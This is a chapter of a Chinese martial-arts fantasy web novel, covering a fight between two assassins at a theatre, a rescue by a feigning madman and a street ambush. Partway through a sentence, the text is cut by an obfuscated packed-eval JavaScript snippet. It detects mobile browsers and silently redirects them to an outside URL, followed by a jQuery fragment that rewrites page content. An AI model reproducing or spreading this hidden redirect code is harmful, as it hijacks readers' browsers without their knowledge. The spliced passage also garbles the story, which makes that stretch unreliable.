10. 疯子寻妻
作品:《以兄之名守山河》 【戏绫台】
戏台上一片血淋淋,残月手中的两条白绸浸满了红色,脚尖点在台柱的木雕凤凰上,身子折成一个扭曲的弧度,白绸甩出去时,带着浓重的血腥味窜向扶桑脖颈。
扶桑没躲,嘴角勾起一笑,手腕一翻,指尖几枚暗钉镖擦着白绸边缘疾射而去,目标不是残月,是支撑戏台的旧木梁。
咔嚓一声闷响,碎屑混着灰尘簌簌落下,残月借力的柱子猛地一歪,她脸色一变,白绸疾收,凌空拧身落地,呛了口灰尘。
“跟我玩阴的?”残月啐了口,眼里冒着火。
“抢食还讲什么规矩。”扶桑声音又轻又冷,话未全尽,人已到了残月面前,她手中没拿兵器,十指指甲瞬长,直掏残月心口。
残月白绸回防已来不及,索性直接丢弃,双手交叠硬挡,对方指甲在皮肉上划下一道深深的血痕,她运转周身气力荡开扶桑,指甲同样瞬长,再次攻去,指、掌、肘、膝,武功招式发挥到极致,全是杀人的路数。
砰!
扶桑膝盖重重顶撞在残月腹部,使其闷哼一声,她趁机将残月扣住手腕反拧到身后,使其整个人脸朝下狠狠掼向戏台下。
扶桑闪身向前,单膝压住残月背脊,长长指甲高高扬起,对准残月的骨头缝。
“好妹妹,安心去吧!他的血,姐姐替你尝!”
残月用力挣扎,眼睛瞪得赤红,就在指甲将要落下的那一刻,一声怒骂自戏台二楼炸响出来。
“两个丢人现眼的东西!短你们吃的了吗?”
扶桑动作僵住,残月也停止了挣扎。
黑袍人自二楼掠下,浑身裹得严实,只露出一双狠厉的眼睛。
扶桑立即松开残月,两人甚至顾不上整理撕扯凌乱的衣服,翻身并排跪在黑衣人面前,齐声道:“主人。”
黑衣人迈步向前,抬手甩了两人一人一个清脆响亮的耳光,两人头被打的偏向一边,却不敢吭一声。
“一口吃食,就让你们忘了正事?还敢内斗,本座看你们是活的不耐烦了!”
“主人,我们知错了……”
黑衣人冷哼声道:“再敢为这等小事耽搁,本座定碾碎你们的骨头!”
一道雪亮的剑光轰然砸在戏台正前方的空地上,青石板炸开,凛冽的剑气横扫开来,刮得戏台边缘悬挂的几盏灯笼齐齐熄灭。
“玄门当真是不要脸!”慕佳人单脚踏在立地的剑柄上,“敢残害我慕家人,当家主是吃素的吗!”
黑衣人缓缓转身,随意挥了挥手,如未看见般,迈步向二楼走去。
跪在地上的扶桑与残月对视一笑同时动起,刚才还恨不得对方死的两人,此刻化为两道疾射紫光,一左一右相互配合,直击慕佳人。
——
城主府主厅,李云凡低垂着头,虞衡手拿着本书翻了一遍又一遍,阿虎趴在桌面上假装睡觉,气氛冷的冻人。
李云凡悄咪咪抬眼扫视一圈,对上了宋凌冒着寒气的眼睛,心里咯噔下,道:“我……我不是故意的,我以为房间里是我哥……”
宋凌白了他一眼,从袖中掏出本账册拍在桌上,清清嗓子:“有些事,日后再算账,先说正事,”她望向虞衡,“劳烦大城主即刻动身前往馗歌城,将这本账册交与馗歌城副管事,另外,注意御翎王妃状况。”
虞衡接过账本,爽快地答应:“没问题!现在就去!”话落,他如烟般消散在原地。
宋凌望向装睡的阿虎,轻拍了下他后背,道:“别装了,你虽年纪小,本事却大的很,你也别闲着,替我去趟梵音寺听场佛法。”
“佛法?”阿虎猛地抬起头,一脸问号,“听佛法干嘛?我又听不懂。”
宋凌道:“梵音寺今年帖子特殊,我怀疑有问题,你去多留神,不是让你去玩的。”
阿虎拍拍自己小胸脯:“早说嘛!我最喜欢执行这种任务啦!”
看两人都分配到任务,李云凡看向宋凌问道:“那我……”
宋凌冷声道:“你什么你?你也闲不着,我们两个得再去趟戏绫台。”
“啊?”想起上次的损失惨重,他都留下后遗症了,连连摆手,“不行不行!能不能换一个?”
宋凌死盯着他的眼睛,威胁道:“不去?那就把欠我的账结清,被我活活打死!”
“去去去!我去!我去还不行吗……”李云凡赶忙道,生怕被她抬手一剑来个刺身。
——
【戏绫台】
慕佳人已战败,双手被捆绑着坐在地上,扶桑举起短刃刺向她心口,距离心口半分时,忽遭残月短刃架开:“现在正是用血之际,留活的。”
扶桑道:“我自然知道,不先废了她行动力,你怎么保证她不会跑?”
“等等!”
曲幻生自台后走出,扶桑与残月动作一顿,狐疑地转头看向他,这疯子来干什么?
曲幻生眼睛直勾勾地盯着慕佳人片刻,颠三倒四道:“你们不能伤她,她的灵魂……对!灵魂!你们要的是极阴之体对不对?她不是最合适的!你们取了那么多次,分我一个好不好?你们还有其他办法,她要跟我走!三月三,柳朝阳,拱桥清歌明行!对!明行!”
扶桑:“?”
残月:“他在说什么?”
扶桑:“我怎么知道。”
曲幻生跑到慕佳人面前蹲下身,压低声音道:“我认识纯娘娘,她是你姑母,她也认识我,给过我甜糖。”他飞快地往慕佳人手中塞了个冰凉坚硬的小东西,“割绳子,敢不敢赌一把!”
说完,他站起身,脸上又恢复了疯癫的表情,大声道:“好了!我说完了!戏绫台又要唱大戏了,你们不能影响到客人,也不能伤她了。”
扶桑皱眉道:“死疯子,说的什么乱七八糟的。”
慕佳人握紧手中硬片,脑子里回荡着那不明不白的话,他不是真的疯,自己姑母是纯娘娘的事除了自己和大哥还有谁知道?这家伙身份不简单。
没时间细想,先离开再说,她用硬片划割着绳子,曲幻生疯言疯语地争取时间,扶桑与残月也逐渐不耐烦,一步步逼近他,时机到了!慕佳人挣开绳索,抛出一个烟雾弹,两人趁此迅速离开戏绫台。
——
街道上,宋凌边向前走,边警惕地打量着四周,按理说,这边离主街最近,不应该冷淡才对。
戏绫台与木偶交战时,她恍惚间望见过最暗的角落里,有过纯娘娘的人形木偶,当时还没来得及细看,便被突然出现的李云凡打断了,哥哥手断过多少异事都没事,偏偏在探“贵妃案”时出了事,倒像是有人故意为之。
正想着,带着血腥味的身影自旁边屋檐落下,扬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939205|192910||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起一片灰尘。
曲幻生扶着慕佳人,无视宋凌与李云凡的注视,径直朝着前方走去。
“站住!”宋凌低喝一声,手已按在剑柄上。
李云凡眯眼仔细瞧了瞧曲幻生的脸,这人从头发丝熟悉到了后脚跟,他在记忆库中飞速翻阅,忽地与一个影子渐渐重合,他眨眨眼,指着曲幻生道:“你你你……你不是城主后院偷马那个疯子吗?”
风中传来衣袂的破空声,扶桑与残月身影一左一右落在街巷两端,堵死了去路。
残月道:“哟?我说这疯子怎么不跑了,原来老朋友也在。”
宋凌将李云凡拽到身后,长剑出鞘半寸,警惕道:“诸位这是何意?无论你们是何方势力,与百洛城结下仇,不值吧?”
扶桑与残月没回应,曲幻生忽地笑了,他松开慕佳人,空荡荡的眼睛里,看得人心里发毛。
“哈哈哈……本想去找个懂医术的帮忙剥层至美的灵魂,引此搭建通天阶寻见我的仙妻,没想到,却误打误撞到了杂事,失算,失算啊!”
“剥灵魂?这玩意咋剥?生剥啊?”李云凡一脸不解。
“小孩子心思单纯,哪懂我们成年人的心事。”曲幻生笑吟吟道,“纯娘娘这个毒妇,剥离我妻,不允我妻爱我,使我两人天各一方,有位高人指点,集七十九名至美灵魂,我便能与我妻相逢了!”他目光灼灼地落在慕佳人脸上。
慕佳人与他拉开距离,大喝道:“宋城主,此人留不得!先除了,事后慢慢讲与你听!”
宋凌对身后李云凡快速交代:“保护好自己。”
话落,她与慕佳人同时挥剑刺向曲幻生,剑光交织,曲幻生简单阻挡两招,一口气吹出,两人开始头晕目眩,周身景物慢慢变得扭曲模糊。
另一边,李云凡东看西寻也不知道往哪里躲,他看哪都有种不是很安全的样子,还有,都去对付那疯子去了,这两个毒妇谁来处理?正想着,扶桑与残月已走到他面前,围着他转圈圈,吓得他颤抖道:“两位姐姐,别……别这么闹,我还是个孩子……”
残月笑道:“小公子生的倒是俊俏,不如跟姐姐走,来侍奉姐姐吧!奖励多多哟!”
李云凡越看两人越打怵,如果老天爷就这么安排,横也是死,竖也是死,不如拼一把,他心一横,闭上眼,攒足了劲猛地向前冲,打算从空隙中硬冲出去:“冲啊!”
“哎呦!”
残月一把揪住他的后衣领:“往哪跑?嗯?这么着急来姐姐这投怀送抱吗?”
呜!
一抹鲜红旋转着的红伞,由远及近呼啸而来!
扶桑与残月警觉地抬头,未等做出反应,便被旋转的伞缘划过腰腹重击在地,同时喷出一口血,瘫倒在地上半天爬不起来。
李云凡脑子陷入空白,一道红衣身影从空而落,单脚轻轻点在伞面上。
扶桑艰难地抬头,那男子虽被面容被斗笠面纱遮着看不清,但他身上的气息很熟悉,两人对视一眼,瞬间消散在原地。
红衣人翩然落地,脚尖一勾,红伞飞起合上,稳稳落在他手中。
他转身望向吓傻的李云凡,噗嗤一声,指着他大笑道:“哈哈哈……笑死个人,一个大老爷们,胆子这么小!哈哈哈……”
李云凡抹了把额头冷汗,嘟囔道:“会武功有什么了不起的。”

